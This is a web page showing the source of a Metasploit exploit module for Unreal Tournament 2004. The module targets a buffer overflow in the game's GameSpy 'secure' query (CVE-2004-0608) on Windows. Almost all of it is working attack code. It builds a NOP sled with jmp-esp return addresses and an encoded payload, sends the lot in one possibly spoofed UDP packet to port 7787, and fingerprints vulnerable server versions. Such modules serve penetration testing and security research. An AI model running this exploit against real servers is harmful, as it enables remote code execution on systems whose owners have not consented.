Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/games/ut2004_secure.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Unreal Tournament 2004 "secure" Overflow (Win32)',13'Description' => %q{1415This is an exploit for the GameSpy secure query in16the Unreal Engine.1718This exploit only requires one UDP packet, which can19be both spoofed and sent to a broadcast address.20Usually, the GameSpy query server listens on port 7787,21but you can manually specify the port as well.2223The RunServer.sh script will automatically restart the24server upon a crash, giving us the ability to25bruteforce the service and exploit it multiple26times.2728},29'Author' => [ 'stinko' ],30'License' => BSD_LICENSE,31'References' =>32[33[ 'CVE', '2004-0608'],34[ 'OSVDB', '7217'],35[ 'BID', '10570'],3637],38'Privileged' => true,39'Payload' =>40{41'Space' => 512,42'BadChars' => "\x5c\x00",43},44'Platform' => 'win',45'Targets' =>46[47['UT2004 Build 3186', { 'Rets' => [ 0x10184be3, 0x7ffdf0e4 ] }], # jmp esp48],49'DisclosureDate' => '2004-06-18',50'DefaultTarget' => 0))5152register_options(53[54Opt::RPORT(7787)55])5657end5859def exploit60connect_udp6162buf = make_nops(1024)63buf[0, 60] = [target['Rets'][0]].pack('V') * 1564buf[54, 4] = [target['Rets'][1]].pack('V')65buf[0, 8] = "\\secure\\"66buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded6768udp_sock.put(buf)6970handler71disconnect_udp72end7374def ut_version75connect_udp76udp_sock.put("\\basic\\")77res = udp_sock.recvfrom(8192)78disconnect_udp7980if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))81return m[1]82end8384return85end8687def check88vers = ut_version8990if (not vers)91print_status("Could not detect Unreal Tournament Server")92return93end9495vprint_status("Detected Unreal Tournament Server Version: #{vers}")96if (vers =~ /^(3120|3186|3204)$/)97vprint_status("This system appears to be exploitable")98return Exploit::CheckCode::Appears99end100101102if (vers =~ /^(2...)$/)103vprint_status("This system appears to be running UT2003")104return Exploit::CheckCode::Detected105end106107vprint_status("This system appears to be patched")108return Exploit::CheckCode::Safe109end110end111112113